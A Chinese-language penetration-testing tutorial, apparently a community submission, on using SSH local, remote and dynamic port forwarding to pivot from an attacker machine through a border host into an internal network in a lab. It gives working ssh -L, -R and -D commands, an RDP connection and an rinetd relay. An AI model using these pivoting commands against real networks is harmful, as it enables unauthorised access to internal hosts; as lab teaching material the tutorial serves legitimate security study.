###前言
先前个人文档,现做投稿分享,感谢您的阅读,望能给个进90sec学习交流的机会,万分感谢!
###相关概念
###本地转发
ssh进程的本地端口映射可以将本地的某个端口转发到远端指定机器的指定端口,将在本地监听一个端口,所有的访问端口数据都会通过SSH隧道传输到远端对应端口
###远程转发
在远程主机上监听一个端口,所有远程主机指定的数据都会通过ssh隧道传输到本地主机的对应端口
###注意
可以发现本地转发与远程转发有些类似,除了端口转发时的不同,实际的应用场景也各不相同
本地转发--攻击机可访问内网边界,内网边界可访问内网服务,但攻击机无法直接访问内网服务,攻击者以本地端口以内网边界的身份访问内网服务
远程转发--攻击机无法访问内网边界及服务,但内网边界可访问攻击机,攻击机访问内网服务时就会通过攻击机与内网边界建立的ssh隧道以内网边界的名义进行访问
动态转发
本地和远程端口转发都限定了目标服务器以及目标服务器的端口,而动态端口转发,攻击机把内网边界作为自己的代理,不限定目标服务器及其端口。攻击机和内网边界之间的所有连接都是基于加密的ssh
###常见ssh命令:
ssh [email protected]
参数说明:
-C:压缩传输,提高传输速度
-f:将ssh传输转入后台执行,不占用当前的Shell
-N:建立静默连接(建立了连接,但是看不到具体会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定ssh端口
###本地转发:
实验环境:
攻击机:192.168.3.131
内网边界:192.168.3.134 10.10.10.130
内网web:10.10.10.128
攻击机:
目标边界:
内网web,这里以phpmyadmin为演示:
假设我们需要从外网攻击机获取内网资源,如连接3389端口
以目标边界为跳板,将内网web的3389端口,映射到攻击机的13389端口,然后访问攻击机的13389端口
攻击机如下执行:
ssh -CfNg -L 13389:10.10.10.128:3389 [email protected]
13389(攻击机端口) 10.10.10.128(目标主机)3389(目标端口) 192.168.3.134(边界跳板)
查看13389端口是否连接:
访问13389端口即可接入内网web服务器的3389端口:
当本地192.168.3.131连接13389端口时,通过ssh协议发送到边界跳板192.168.3.134,然后10.10.10.130封装相应流量连接至内网web10.10.10.128
攻击机:
随机端口与边界跳板相连接
边界跳板:
内网随机端口与内网web3389连接
内网web:
3389端口与边界跳板连接
###远程转发:
实验环境:
攻击机:192.168.3.131
内网边界:10.10.10.131
内网web:10.10.10.128
这里注意,攻击机不能访问内网机器,内网边界可访问外网攻击机(可以从内网边界ssh到攻击机上),但内网web服务器不能访问攻击机
以内网边界为跳板,将192.168.3.131的33389端口流量转发到内网web的3389端口,访问192.168.3.131的33389端口就可以访问内网web的3389端口
内网边界执行如下命令:
ssh -CfNg -R 33389:10.10.10.128:3389 [email protected]
33389(攻击机端口) 10.10.10.128(目标主机) 3389(目标端口) 192.168.3.131(攻击机IP)
攻击机接入如下:
rdesktop 127.0.0.1:33389
攻击机:
22端口与内网边界相连接,内网出来的流量均会议22端口进行传输:
内网边界:
内网边界时可以访问攻击机的,此时边界随机端口将会连接攻击机的22端口:
内网web:
与边界随机端口建立连接
这里的33389监听是在127.0.0.1,也就是说访问攻击机的33389是连接不上的
使用rinetd做一次转发
修改配置文件如下:
0.0.0.0 63389 127.0.0.1 33389
systemctl restart rinetd
连接攻击机的63389即可
###动态转发:
攻击机:192.168.3.131
内网边界:192.168.3.134 10.10.10.131
内网web:10.10.10.128
在攻击机上执行如下,创建socks代理,需要内网边界的密码:
ssh -CfNg -D 60011 [email protected]
60011(socks代理的端口,后期以攻击机的ip与该60011端口接入内网即可)
浏览器配置代理,接入内网: